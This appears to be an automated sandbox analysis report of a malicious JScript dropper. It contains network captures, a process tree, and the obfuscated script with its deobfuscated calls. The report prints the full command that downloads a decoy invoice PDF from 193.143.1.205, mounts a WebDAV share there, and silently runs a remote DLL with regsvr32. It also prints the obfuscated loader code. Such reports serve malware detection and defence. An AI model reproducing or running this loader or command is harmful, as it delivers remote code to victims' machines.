Jan 11, 2025 02:13:32.130955935 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:13:32.905807972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:13:32.905831099 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:13:32.905842066 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:13:32.905910015 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:13:32.905961990 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:13:32.905973911 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:13:32.906122923 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:13:32.906133890 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:13:32.906146049 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:13:32.906157017 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 02:13:32.910819054 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	348	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:13:34.543737888 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:13:35.363946915 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:13:28
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js"
Imagebase:	0x7ff7c7060000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll
Imagebase:	0x7ff64e080000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:13:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:13:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64e080000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:13:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff626270000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1620,i,12721182879872049858,961779255223056025,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function miftqxeki() {	miftqxeki() ➔ undefined
1	afsxm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tpwnwdmpm = this[gqgrv + obkvlcyrv + guqbyfj + labdt + qvxbdvqev + ccxjd + pjsmramrh + nyzlbr] ( this[xuqfctd + bidjadps + ckglkuhoe + guqbyfj + eztsfbpy + gqgrv + nyzlbr][ubzoa + guqbyfj + qvxbdvqev + obkvlcyrv + nyzlbr + qvxbdvqev + qolygitod + tqueh + abyisaqkk + qvxbdvqev + ckglkuhoe + nyzlbr] ( xuqfctd + bidjadps + ckglkuhoe + guqbyfj + eztsfbpy + gqgrv + nyzlbr + jhtzbwqsj + bidjadps + bopbnxde + qvxbdvqev + hdsoua + hdsoua ) [qspqpa + qvxbdvqev + phopk + qspqpa + qvxbdvqev + obkvlcyrv + luxlmzwmv] ( rzmbixjqn + esytsk + tffmacsuc + mpiatng + eejkhxbsr + ubzoa + ykyutacxm + qspqpa + qspqpa + tffmacsuc + rydicv + hjlksq + eejkhxbsr + ykyutacxm + bidjadps + tffmacsuc + qspqpa + dbrajgac + ubzoa + ckogynfdu + pjsmramrh + nyzlbr + guqbyfj + ckogynfdu + hdsoua + ehrxbmph + tgjndv + obkvlcyrv + pjsmramrh + qvxbdvqev + hdsoua + dbrajgac + ccxjd + pjsmramrh + nyzlbr + qvxbdvqev + guqbyfj + pjsmramrh + obkvlcyrv + nyzlbr + eztsfbpy + ckogynfdu + pjsmramrh + obkvlcyrv + hdsoua + dbrajgac + jwoskryia + ckogynfdu + ckglkuhoe + obkvlcyrv + hdsoua + qvxbdvqev ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rxbhrelyg = 0 ; rxbhrelyg < afsxm[hdsoua + qvxbdvqev + pjsmramrh + phopk + nyzlbr + bopbnxde] ; ++ rxbhrelyg )
4	{
5	if ( tpwnwdmpm == afsxm[rxbhrelyg] )
6	{
7	tpwnwdmpm = true;
8	break ;
9	}
10	}
11	if ( tpwnwdmpm !== true )
12	this[xuqfctd + bidjadps + ckglkuhoe + guqbyfj + eztsfbpy + gqgrv + nyzlbr][effuj + icrelaopx + eztsfbpy + nyzlbr] ( );
13	this[xuqfctd + bidjadps + ckglkuhoe + guqbyfj + eztsfbpy + gqgrv + nyzlbr][ubzoa + guqbyfj + qvxbdvqev + obkvlcyrv + nyzlbr + qvxbdvqev + qolygitod + tqueh + abyisaqkk + qvxbdvqev + ckglkuhoe + nyzlbr] ( xuqfctd + bidjadps + ckglkuhoe + guqbyfj + eztsfbpy + gqgrv + nyzlbr + jhtzbwqsj + bidjadps + bopbnxde + qvxbdvqev + hdsoua + hdsoua ) [guqbyfj + icrelaopx + pjsmramrh] ( ckglkuhoe + bsoniqafb + luxlmzwmv + ehrxbmph + ljotq + ckglkuhoe + ehrxbmph + gqgrv + ckogynfdu + cjivtcyog + qvxbdvqev + guqbyfj + labdt + bopbnxde + qvxbdvqev + hdsoua + hdsoua + jhtzbwqsj + qvxbdvqev + jupslv + qvxbdvqev + ehrxbmph + acnekvk + ubzoa + ckogynfdu + bsoniqafb + bsoniqafb + obkvlcyrv + pjsmramrh + luxlmzwmv + ehrxbmph + msgnavnta + ccxjd + pjsmramrh + qbrtwlf + ckogynfdu + nhuclaqv + qvxbdvqev + acnekvk + xuqfctd + qvxbdvqev + tqueh + qspqpa + qvxbdvqev + kojbrg + icrelaopx + qvxbdvqev + labdt + nyzlbr + ehrxbmph + acnekvk + qolygitod + icrelaopx + nyzlbr + davjkv + eztsfbpy + hdsoua + qvxbdvqev + ehrxbmph + qaugnacur + nyzlbr + qvxbdvqev + bsoniqafb + gqgrv + qaugnacur + dbrajgac + eztsfbpy + pjsmramrh + qbrtwlf + ckogynfdu + eztsfbpy + ckglkuhoe + qvxbdvqev + jhtzbwqsj + gqgrv + luxlmzwmv + bpxhvay + ehrxbmph + bopbnxde + nyzlbr + nyzlbr + gqgrv + fjmzapnq + ljotq + ljotq + ipghaa + jzkof + rckmtayit + jhtzbwqsj + ipghaa + dgqah + rckmtayit + jhtzbwqsj + ipghaa + jhtzbwqsj + orevh + klesxvjbk + eizgqtn + ljotq + eztsfbpy + pjsmramrh + qbrtwlf + ckogynfdu + eztsfbpy + ckglkuhoe + qvxbdvqev + jhtzbwqsj + gqgrv + bopbnxde + gqgrv + msgnavnta + brbihijc + brbihijc + labdt + nyzlbr + obkvlcyrv + guqbyfj + nyzlbr + ehrxbmph + qaugnacur + nyzlbr + qvxbdvqev + bsoniqafb + gqgrv + qaugnacur + dbrajgac + eztsfbpy + pjsmramrh + qbrtwlf + ckogynfdu + eztsfbpy + ckglkuhoe + qvxbdvqev + jhtzbwqsj + gqgrv + luxlmzwmv + bpxhvay + brbihijc + brbihijc + ckglkuhoe + bsoniqafb + luxlmzwmv + ehrxbmph + ljotq + ckglkuhoe + ehrxbmph + pjsmramrh + qvxbdvqev + nyzlbr + ehrxbmph + icrelaopx + labdt + qvxbdvqev + ehrxbmph + dbrajgac + dbrajgac + ipghaa + jzkof + rckmtayit + jhtzbwqsj + ipghaa + dgqah + rckmtayit + jhtzbwqsj + ipghaa + jhtzbwqsj + orevh + klesxvjbk + eizgqtn + pfqazega + llagkn + llagkn + llagkn + llagkn + dbrajgac + luxlmzwmv + obkvlcyrv + qbrtwlf + cjivtcyog + cjivtcyog + cjivtcyog + guqbyfj + ckogynfdu + ckogynfdu + nyzlbr + dbrajgac + brbihijc + brbihijc + ckglkuhoe + bsoniqafb + luxlmzwmv + ehrxbmph + ljotq + ckglkuhoe + ehrxbmph + guqbyfj + qvxbdvqev + phopk + labdt + qbrtwlf + guqbyfj + rckmtayit + orevh + ehrxbmph + ljotq + labdt + ehrxbmph + dbrajgac + dbrajgac + ipghaa + jzkof + rckmtayit + jhtzbwqsj + ipghaa + dgqah + rckmtayit + jhtzbwqsj + ipghaa + jhtzbwqsj + orevh + klesxvjbk + eizgqtn + pfqazega + llagkn + llagkn + llagkn + llagkn + dbrajgac + luxlmzwmv + obkvlcyrv + qbrtwlf + cjivtcyog + cjivtcyog + cjivtcyog + guqbyfj + ckogynfdu + ckogynfdu + nyzlbr + dbrajgac + orevh + rrktlwj + eizgqtn + rckmtayit + rckmtayit + ipghaa + klesxvjbk + llagkn + jzkof + orevh + klesxvjbk + orevh + llagkn + rrktlwj + jhtzbwqsj + luxlmzwmv + hdsoua + hdsoua, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll",0,false) ➔ 0
14	}
15	dbrajgac = "i";
16	dbrajgac = "N";
17	dbrajgac = "n";
18	dbrajgac = "k";
19	dbrajgac = "B";
20	dbrajgac = "d";
21	dbrajgac = "N";
22	dbrajgac = "s";
23	dbrajgac = "P";
24	dbrajgac = "m";
25	dbrajgac = "n";
26	dbrajgac = "c";
27	dbrajgac = "L";
28	dbrajgac = "M";
29	dbrajgac = "U";
30	dbrajgac = "D";
31	dbrajgac = "E";
32	dbrajgac = "F";
33	dbrajgac = "Q";
34	dbrajgac = "x";
35	dbrajgac = "s";
36	dbrajgac = "J";
37	dbrajgac = "x";
38	dbrajgac = "i";
39	dbrajgac = "q";
40	dbrajgac = "O";
41	dbrajgac = "V";
42	dbrajgac = "q";
43	dbrajgac = "m";
44	dbrajgac = "O";
45	dbrajgac = "a";
46	dbrajgac = "y";
47	dbrajgac = "M";
48	dbrajgac = "v";
49	dbrajgac = "w";
50	dbrajgac = "x";
51	dbrajgac = "\\";
52	jhtzbwqsj = "Z";
53	jhtzbwqsj = "l";
54	jhtzbwqsj = "G";
55	jhtzbwqsj = "o";
56	jhtzbwqsj = "W";
57	jhtzbwqsj = "P";
58	jhtzbwqsj = "M";
59	jhtzbwqsj = "m";
60	jhtzbwqsj = "g";
61	jhtzbwqsj = "y";
62	jhtzbwqsj = "Y";
63	jhtzbwqsj = "h";
64	jhtzbwqsj = "Z";
65	jhtzbwqsj = "a";
66	jhtzbwqsj = "z";
67	jhtzbwqsj = "B";
68	jhtzbwqsj = "e";
69	jhtzbwqsj = "E";
70	jhtzbwqsj = "S";
71	jhtzbwqsj = "S";
72	jhtzbwqsj = "n";
73	jhtzbwqsj = "n";
74	jhtzbwqsj = "T";
75	jhtzbwqsj = "q";
76	jhtzbwqsj = "W";
77	jhtzbwqsj = "t";
78	jhtzbwqsj = "z";
79	jhtzbwqsj = "q";
80	jhtzbwqsj = "b";
81	jhtzbwqsj = "L";
82	jhtzbwqsj = "C";
83	jhtzbwqsj = "K";
84	jhtzbwqsj = "k";
85	jhtzbwqsj = "r";
86	jhtzbwqsj = "c";
87	jhtzbwqsj = "O";
88	jhtzbwqsj = "y";
89	jhtzbwqsj = "i";
90	jhtzbwqsj = "M";
91	jhtzbwqsj = "s";
92	jhtzbwqsj = ".";
93	bopbnxde = "e";
94	bopbnxde = "g";
95	bopbnxde = "h";
96	ccxjd = "w";
97	ccxjd = "j";
98	ccxjd = "J";
99	ccxjd = "z";
100	ccxjd = "l";
101	ccxjd = "f";
102	ccxjd = "z";
103	ccxjd = "U";
104	ccxjd = "M";
105	ccxjd = "W";
106	ccxjd = "s";
107	ccxjd = "X";
108	ccxjd = "T";
109	ccxjd = "D";
110	ccxjd = "X";
111	ccxjd = "H";
112	ccxjd = "I";
113	ipghaa = "E";
114	ipghaa = "f";
115	ipghaa = "L";
116	ipghaa = "O";
117	ipghaa = "n";
118	ipghaa = "D";
119	ipghaa = "u";
120	ipghaa = "s";
121	ipghaa = "q";
122	ipghaa = "A";
123	ipghaa = "I";
124	ipghaa = "r";
125	ipghaa = "N";
126	ipghaa = "m";
127	ipghaa = "i";
128	ipghaa = "v";
129	ipghaa = "W";
130	ipghaa = "c";
131	ipghaa = "t";
132	ipghaa = "g";
133	ipghaa = "G";
134	ipghaa = "X";
135	ipghaa = "d";
136	ipghaa = "v";
137	ipghaa = "u";
138	ipghaa = "V";
139	ipghaa = "C";
140	ipghaa = "V";
141	ipghaa = "G";
142	ipghaa = "j";
143	ipghaa = "1";
144	ubzoa = "e";
145	ubzoa = "C";
146	rrktlwj = "m";
147	rrktlwj = "j";
148	rrktlwj = "y";
149	rrktlwj = "l";
150	rrktlwj = "m";
151	rrktlwj = "i";
152	rrktlwj = "Y";
153	rrktlwj = "p";
154	rrktlwj = "a";
155	rrktlwj = "J";
156	rrktlwj = "R";
157	rrktlwj = "x";
158	rrktlwj = "a";
159	rrktlwj = "z";
160	rrktlwj = "O";
161	rrktlwj = "y";
162	rrktlwj = "b";
163	rrktlwj = "j";
164	rrktlwj = "A";
165	rrktlwj = "l";
166	rrktlwj = "u";
167	rrktlwj = "B";
168	rrktlwj = "G";
169	rrktlwj = "J";
170	rrktlwj = "T";
171	rrktlwj = "x";
172	rrktlwj = "x";
173	rrktlwj = "e";
174	rrktlwj = "u";
175	rrktlwj = "U";
176	rrktlwj = "z";
177	rrktlwj = "R";
178	rrktlwj = "a";
179	rrktlwj = "X";
180	rrktlwj = "D";
181	rrktlwj = "6";
182	icrelaopx = "j";
183	icrelaopx = "V";
184	icrelaopx = "x";
185	icrelaopx = "D";
186	icrelaopx = "M";
187	icrelaopx = "s";
188	icrelaopx = "D";
189	icrelaopx = "x";
190	icrelaopx = "D";
191	icrelaopx = "U";
192	icrelaopx = "z";
193	icrelaopx = "u";
194	ehrxbmph = "f";
195	ehrxbmph = "q";
196	ehrxbmph = "W";
197	ehrxbmph = "P";
198	ehrxbmph = "v";
199	ehrxbmph = "Z";
200	ehrxbmph = "L";
201	ehrxbmph = "h";
202	ehrxbmph = "d";
203	ehrxbmph = "w";
204	ehrxbmph = "i";
205	ehrxbmph = "n";
206	ehrxbmph = "E";
207	ehrxbmph = "w";
208	ehrxbmph = "E";
209	ehrxbmph = "V";
210	ehrxbmph = "v";
211	ehrxbmph = "K";
212	ehrxbmph = "u";
213	ehrxbmph = "d";
214	ehrxbmph = "b";
215	ehrxbmph = "t";
216	ehrxbmph = "R";
217	ehrxbmph = "C";
218	ehrxbmph = "v";
219	ehrxbmph = "U";
220	ehrxbmph = "P";
221	ehrxbmph = "g";
222	ehrxbmph = " ";
223	tqueh = "B";
224	tqueh = "E";
225	tqueh = "y";
226	tqueh = "W";
227	tqueh = "R";
228	tqueh = "m";
229	tqueh = "x";
230	tqueh = "u";
231	tqueh = "u";
232	tqueh = "X";
233	tqueh = "S";
234	tqueh = "o";
235	tqueh = "Y";
236	tqueh = "a";
237	tqueh = "V";
238	tqueh = "f";
239	tqueh = "K";
240	tqueh = "K";
241	tqueh = "z";
242	tqueh = "T";
243	tqueh = "q";
244	tqueh = "q";
245	tqueh = "h";
246	tqueh = "V";
247	tqueh = "v";
248	tqueh = "A";
249	tqueh = "K";
250	tqueh = "m";
251	tqueh = "N";
252	tqueh = "h";
253	tqueh = "K";
254	tqueh = "Q";
255	tqueh = "J";
256	tqueh = "x";
257	tqueh = "h";
258	tqueh = "a";
259	tqueh = "M";
260	tqueh = "X";
261	tqueh = "d";
262	tqueh = "p";
263	tqueh = "D";
